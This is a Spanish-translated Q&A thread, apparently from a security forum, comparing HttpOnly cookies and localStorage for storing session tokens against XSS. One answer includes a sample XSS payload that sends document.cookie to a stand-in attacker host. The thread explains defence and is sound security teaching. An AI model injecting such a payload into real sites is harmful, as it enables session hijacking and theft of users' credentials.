¿Por qué se considera que las cookies son más seguras contra XSS?

12

Este artículo trata sobre el almacenamiento de tokens de sesión en una cookie vs en localStorage: enlace

El artículo dice:

  

Las cookies, cuando se usan con la marca de cookie HttpOnly, no son accesibles   a través de JavaScript, y son inmunes a XSS .

Sin embargo, si un script inyectado realiza solicitudes del mismo origen (por ejemplo, llamadas a la API), las cookies se incluyen con él. Así que no importa si JavaScript no tiene acceso a él.

El final del artículo dice:

  

Stormpath recomienda que almacene su JWT en cookies para web   aplicaciones ... HTML5 Web Storage es vulnerable a XSS ...

¿Las cookies y el almacenamiento local no son vulnerables a XSS? Con las cookies, el atacante no puede obtener la cookie y almacenarla, pero eso no es necesario de todos modos si puede autenticarse utilizando la cookie.

    
pregunta Leo Jiang 09.03.2016 - 10:21
fuente

2 respuestas

8

Si hay cookies no HttpOnly presentes, y el atacante podría robarlas utilizando XSS similar al siguiente

<script>new Image().src='https://evil.example.com?+escape(document.cookie)'</script>

Este es el ataque más devastador si los tokens de sesión no están protegidos por la marca HttpOnly porque el atacante simplemente puede configurar la cookie en su navegador para iniciar sesión como víctima.

Si la marca HttpOnly está activada, sí, aún pueden realizar solicitudes AJAX usando su secuencia de comandos inyectada, sin embargo, esto es más difícil de lograr y no le da al atacante el control interactivo completo de la sesión secuestrada.

XSS siempre es una amenaza mayor que CSRF. Incluso con las cookies HttpOnly, el atacante podría mostrar un formulario de inicio de sesión que envíe las credenciales al atacante una vez que se haya enviado. Además, cualquier forma que requiera un token CSRF puede simplemente ser recuperada por el ataque XSS.

    
respondido por el SilverlightFox 10.03.2016 - 11:40
fuente
4

Las cookies de HttpOnly pueden ser usadas por un atacante, en el sentido de que el XSS puede hacer que el navegador de la víctima envíe solicitudes y esas solicitudes tengan cookies, pero los valores de esas cookies son invisibles para el usuario. agresor. El atacante está operando a ciegas en cuanto al valor de esas cookies.

Por el contrario, el almacenamiento local es (por diseño) legible por JavaScript. No se incluye automáticamente con las solicitudes, como lo son las cookies, pero a diferencia de las cookies, es imposible ocultar los datos de almacenamiento local de un atacante utilizando un exploit XSS.

El momento de usar cada uno depende de los datos que almacena y de su modelo de amenaza. Si los datos que está almacenando son sensibles a inherentemente , algo así como un número de seguridad social, entonces no se deben almacenar en el cliente, pero si es absolutamente necesario hacerlo, use un HttpOnly y Secure Galleta. Si los datos son algo así como un token de autenticación generado aleatoriamente que no almacena datos reales del usuario, entonces debería almacenarlo en una cookie para protegerla de la exposición en el caso de XSS, pero también necesita una muy buena protección CSRF (tenga en cuenta que XSS permitirá que el atacante omita la protección CSRF, por lo que aún es esencial evitar también que XSS, aunque el atacante no pueda robar el valor de la cookie. Si se trata de una gran cantidad de datos, o datos que solo se necesitan en el cliente, o datos que el servidor solo necesita ocasionalmente, tiene sentido colocarlos en el almacenamiento local.

    
respondido por el CBHacking 11.03.2016 - 03:49
fuente

Lea otras preguntas en las etiquetas